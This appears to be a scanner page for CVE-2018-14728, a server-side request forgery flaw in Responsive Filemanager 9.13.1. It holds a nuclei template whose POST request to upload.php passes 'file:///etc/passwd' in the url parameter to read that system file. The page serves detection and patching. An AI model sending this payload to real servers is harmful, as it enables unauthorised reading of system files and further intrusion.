Responsive filemanager 9.13.1 Server-Side Request Forgery

criticalseverity

9.8CVSS score

76.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Responsive filemanager 9.13.1 is susceptible to server-side request forgery in upload.php via the url parameter.

Impact

An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.

Fix

Upgrade to a patched version of Responsive Filemanager or apply the necessary security patches to mitigate the SSRF vulnerability.

How to confirm it

Send: POST {{BaseURL}}/filemanager/upload.php
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2018-14728 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-14728

info:
  name: Responsive filemanager 9.13.1 Server-Side Request Forgery
  author: madrobot
  severity: critical
  description: Responsive filemanager 9.13.1 is susceptible to server-side request forgery in upload.php via the url parameter.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade to a patched version of Responsive Filemanager or apply the necessary security patches to mitigate the SSRF vulnerability.
  reference:
    - http://packetstormsecurity.com/files/148742/Responsive-Filemanager-9.13.1-Server-Side-Request-Forgery.html
    - https://www.exploit-db.com/exploits/45103/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14728
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14728
    cwe-id: CWE-918
    epss-score: 0.76264
    epss-percentile: 0.9954
    cpe: cpe:2.3:a:tecrail:responsive_filemanager:9.13.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tecrail
    product: responsive_filemanager
  tags: cve2018,cve,ssrf,lfi,packetstorm,edb,intrusive,tecrail,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/filemanager/upload.php"

    body: fldr=&url=file:///etc/passwd
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from